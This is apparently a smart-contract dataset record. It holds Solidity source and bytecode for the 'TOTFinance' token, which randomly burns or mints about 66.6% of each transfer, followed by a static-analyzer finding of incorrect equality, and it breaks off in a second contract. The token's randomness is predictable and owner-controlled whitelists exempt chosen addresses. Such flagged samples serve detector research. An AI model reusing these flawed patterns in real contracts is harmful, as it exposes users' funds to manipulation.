= gasleft(); while (startgas - gasleft() < target) { // Burn gas stub = keccak256(abi.encodePacked(stub)); } } else { _; } } } // -------------------------------- // TrickOrTreat666Finance // -------------------------------- contract TrickOrTreat666 is Context, Ownable, ERC20Detailed, GasPump { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public whitelistFrom; mapping(address => bool) public whitelistTo; // Token Details string constant tokenName = "TOTFinance"; string constant tokenSymbol = "TOT"; uint8 constant tokenDecimals = 18; uint256 private _totalSupply = 666 * (10 ** 18); // For % uint256 public basePercent = 100; uint256 public basePercentTop = 2; uint256 public basePercentBot = 3; uint256 public basePercentEnd = 100; bytes32 private lastHash; // Whitelist event WhitelistFrom(address _addr, bool _whitelisted); event WhitelistTo(address _addr, bool _whitelisted); // Events event Normal(address indexed sender, address indexed recipient, uint256 value); event Trick(address indexed sender, address indexed recipient, uint256 value); event Treat(address indexed sender, address indexed recipient, uint256 value); constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient,uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function burn(uint256 amount) public { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } // -------------------------------- // 66.6% Trick/Treat on each transaction // -------------------------------- function findOnePercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 onePercent = roundValue.mul(basePercent).mul(basePercentTop).div(basePercentBot).div(basePercentEnd); return onePercent; } function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistTo(_addr, _whitelisted); whitelistTo[_addr] = _whitelisted; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner { emit WhitelistFrom(_addr, _whitelisted); whitelistFrom[_addr] = _whitelisted; } function _isWhitelisted(address _from, address _to) internal view returns (bool) { return whitelistFrom[_from] || whitelistTo[_to]; } // -------------------------------- // 50% Trick/Treat Chance // -------------------------------- function _trickortreat() internal returns (uint256) { bytes32 result = keccak256( abi.encodePacked(block.number, lastHash, gasleft())); lastHash = result; return uint256(result) % 2 == 0 ? 1 : 0; } // Triggers on every transfer function _transfer(address sender, address recipient, uint256 amount) internal requestGas { // Gets balance of sender, makes sure value being sent is <= their balance //require(amount <= _balances[sender]); //require(amount <= _allowances[sender][_msgSender()]); // Checks that it's not the burn address require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Deployer Transaction (So that transactions made my deployer don't get tricked / treated) if (_isWhitelisted(sender, recipient)) { // Subtract from sender balance _balances[sender] = _balances[sender].sub(amount); // Add to recipient balance _balances[recipient] = _balances[recipient].add(amount); emit Normal(sender, recipient, amount); emit Transfer(sender, recipient, amount); } // Trick Transaction else if (!_isWhitelisted(sender, recipient) && _trickortreat() == 1) { // Subtract from sender balance _balances[sender] = _balances[sender].sub(amount); // Get 66.6% of transacted tokens uint256 tokensToBurn = findOnePercent(amount); // Transfer amount - 66.6% of transacted tokens uint256 tokensToTransfer = amount.sub(tokensToBurn); // Add to recipient balance _balances[recipient] = _balances[recipient].add(tokensToTransfer); // Subtract burn amount from supply _totalSupply = _totalSupply.sub(tokensToBurn); emit Trick(sender, recipient, amount); emit Transfer(sender, recipient, tokensToTransfer); emit Transfer(sender, address(0), tokensToBurn); } // Treat transaction else { // Subtract from sender balance _balances[sender] = _balances[sender].sub(amount); // Get 66.6% of transacted tokens uint256 tokensToTreat = findOnePercent(amount); // Mint 66.6% of tokens to lucky user _mint(sender, tokensToTreat); // Transfer same amount but user now has 66% extra tokens in their wallet uint256 tokensToTransfer = amount; // Add to recipient balance _balances[recipient] = _balances[recipient].add(tokensToTransfer); // Add treat amount to supply _totalSupply = _totalSupply.add(tokensToTreat); emit Treat(sender, recipient, amount); emit Transfer(address(0), recipient, tokensToTreat); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e146107e7578063df2e77971461085f578063f2fde38b1461087d578063ff12bbf4146108c15761018e565b8063a9059cbb14610745578063c5ac0ded146107ab578063d92dfe90146107c95761018e565b80638da5cb5b1461055e5780638f32d59b146105a857806395d89b41146105ca578063a457c2d71461064d578063a486309d146106b3578063a6a68606146107035761018e565b8063395093511161014b57806370a082311161012557806370a0823114610490578063715018a6146104e8578063738d6c5c146104f257806379cc6790146105105761018e565b806339509351146103a057806342966c681461040657806343684b21146104345761018e565b806306fdde0314610193578063095ea7b31461021657806316b627d11461027c57806318160ddd146102d857806323b872dd146102f6578063313ce5671461037c575b600080fd5b61019b610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102626004803603604081101561022c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b604051808215151515815260200191505060405180910390f35b6102be6004803603602081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b604051808215151515815260200191505060405180910390f35b6102e06109f1565b6040518082815260200191505060405180910390f35b6103626004803603606081101561030c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fb565b604051808215151515815260200191505060405180910390f35b610384610ad4565b604051808260ff1660ff16815260200191505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aeb565b604051808215151515815260200191505060405180910390f35b6104326004803603602081101561041c57600080fd5b8101908080359060200190929190505050610b9e565b005b6104766004803603602081101561044a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb2565b604051808215151515815260200191505060405180910390f35b6104d2600480360360208110156104a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd2565b6040518082815260200191505060405180910390f35b6104f0610c1b565b005b6104fa610d54565b6040518082815260200191505060405180910390f35b61055c6004803603604081101561052657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5a565b005b610566610d68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b0610d91565b604051808215151515815260200191505060405180910390f35b6105d2610def565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106125780820151818401526020810190506105f7565b50505050905090810190601f16801561063f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106996004803603604081101561066357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e91565b604051808215151515815260200191505060405180910390f35b610701600480360360408110156106c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610f5e565b005b61072f6004803603602081101561071957600080fd5b81019080803590602001909291905050506110a2565b6040518082815260200191505060405180910390f35b6107916004803603604081101561075b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111b565b604051808215151515815260200191505060405180910390f35b6107b3611139565b6040518082815260200191505060405180910390f35b6107d161113f565b6040518082815260200191505060405180910390f35b610849600480360360408110156107fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611145565b6040518082815260200191505060405180910390f35b6108676111cc565b6040518082815260200191505060405180910390f35b6108bf6004803603602081101561089357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d2565b005b61090f600480360360408110156108d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611258565b005b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c061139c565b84846113a4565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600954905090565b6000610a0884848461159b565b610ac984610a1461139c565b610ac4856040518060600160405280602881526020016130dc60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a7a61139c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d89092919063ffffffff16565b6113a4565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000610b94610af861139c565b84610b8f8560066000610b0961139c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b6113a4565b6001905092915050565b610baf610ba961139c565b82612820565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c23610d91565b610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d5481565b610d6482826129da565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd361139c565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e875780601f10610e5c57610100808354040283529160200191610e87565b820191906000526020600020905b815481529060010190602001808311610e6a57829003601f168201915b5050505050905090565b6000610f54610e9e61139c565b84610f4f856040518060600160405280602581526020016131926025913960066000610ec861139c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d89092919063ffffffff16565b6113a4565b6001905092915050565b610f66610d91565b610fd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b7f88cf9b943f64811022537ee9f0141770d85e612eae3a3a39241abe5ca9f113828282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806110ba600a5484612aa990919063ffffffff16565b9050600061110f600d54611101600c546110f3600b546110e5600a5489612ae490919063ffffffff16565b612ae490919063ffffffff16565b612b6a90919063ffffffff16565b612b6a90919063ffffffff16565b90508092505050919050565b600061112f61112861139c565b848461159b565b6001905092915050565b600a5481565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6111da610d91565b61124c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61125581612bb4565b50565b611260610d91565b6112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b7fc3d26c130d120a4bb874de56c8b5fb727ad2cfc3551ca49cd42ef248e893b69a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061316e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806130996022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60003a14806115a95750455a115b15611e6657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611634576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131496025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061302e6023913960400191505060405180910390fd5b6116c48383612cf8565b156118c25761171b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611e1a565b6118cc8383612cf8565b1580156118e0575060016118de612ded565b145b15611b855761193781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611985826110a2565b9050600061199c8284612da390919063ffffffff16565b90506119f081600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4882600954612da390919063ffffffff16565b6009819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f269d952403220006258f3e1a83b824f4dda43480e34b995c342b56136f6d0c2d856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050611e19565b611bd781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611c25826110a2565b9050611c318482612e5a565b6000829050611c8881600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ce08260095461279890919063ffffffff16565b6009819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f8a8016d24c64c84e7cbad0a909babb37f67ae9e82723f4c38a7666786358e7c1856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505b5b60005a90505b6127105a82031015611e60576004546040516020018082815260200191505060405160208183030381529060405280519060200120600481905550611e20565b506126d3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611eec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131496025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061302e6023913960400191505060405180910390fd5b611f7c8383612cf8565b1561217a57611fd381600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206881600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36126d2565b6121848383612cf8565b15801561219857506001612196612ded565b145b1561243d576121ef81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061223d826110a2565b905060006122548284612da390919063ffffffff16565b90506122a881600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230082600954612da390919063ffffffff16565b6009819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f269d952403220006258f3e1a83b824f4dda43480e34b995c342b56136f6d0c2d856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350506126d1565b61248f81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006124dd826110a2565b90506124e98482612e5a565b600082905061254081600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125988260095461279890919063ffffffff16565b6009819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f8a8016d24c64c84e7cbad0a909babb37f67ae9e82723f4c38a7666786358e7c1856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505b5b5b505050565b6000838311158290612785576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561274a57808201518184015260208101905061272f565b50505050905090810190601f1680156127775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131286021913960400191505060405180910390fd5b6129128160405180606001604052806022815260200161305160229139600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d89092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296a81600954612da390919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6129e48282612820565b612aa5826129f061139c565b612aa08460405180606001604052806024815260200161310460249139600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000612a5661139c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d89092919063ffffffff16565b6113a4565b5050565b600080612ab68484612798565b90506000612ac5826001612da3565b9050612ada612ad48286612b6a565b85612ae4565b9250505092915050565b600080831415612af75760009050612b64565b6000828402905082848281612b0857fe5b0414612b5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130bb6021913960400191505060405180910390fd5b809150505b92915050565b6000612bac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f67565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612c3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806130736026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9b5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6000612de583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126d8565b905092915050565b60008043600e545a60405160200180848152602001838152602001828152602001935050505060405160208183030381529060405280519060200120905080600e81905550600060028260001c81612e4157fe5b0614612e4e576000612e51565b60015b60ff1691505090565b6000811415612e6857600080fd5b612eba81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290613013576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612fd8578082015181840152602081019050612fbd565b50505050905090810190601f1680156130055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161301f57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ec0a0d54a04d65e1d9e9e0ead9a7d2d9cb75e1be2b08adcd185e75491bbe838f64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,007
0xcf2c2cbac052790cbe405cfef021534b77a6fd81
pragma solidity 0.4.25; /** * @notice Declares a contract that can have an owner. */ contract OwnedI { event LogOwnerChanged(address indexed previousOwner, address indexed newOwner); function getOwner() view public returns (address); function setOwner(address newOwner) public returns (bool success); } /** * @notice Defines a contract that can have an owner. */ contract Owned is OwnedI { /** * @dev Made private to protect against child contract setting it to 0 by mistake. */ address private owner; constructor() public { owner = msg.sender; } modifier fromOwner { require(msg.sender == owner); _; } function getOwner() view public returns (address) { return owner; } function setOwner(address newOwner) fromOwner public returns (bool success) { require(newOwner != 0); if (owner != newOwner) { emit LogOwnerChanged(owner, newOwner); owner = newOwner; } success = true; } } contract WithBeneficiary is Owned { /** * @notice Address that is forwarded all value. * @dev Made private to protect against child contract setting it to 0 by mistake. */ address private beneficiary; event LogBeneficiarySet(address indexed previousBeneficiary, address indexed newBeneficiary); constructor(address _beneficiary) payable public { require(_beneficiary != 0); beneficiary = _beneficiary; if (msg.value > 0) { asyncSend(beneficiary, msg.value); } } function asyncSend(address dest, uint amount) internal; function getBeneficiary() view public returns (address) { return beneficiary; } function setBeneficiary(address newBeneficiary) fromOwner public returns (bool success) { require(newBeneficiary != 0); if (beneficiary != newBeneficiary) { emit 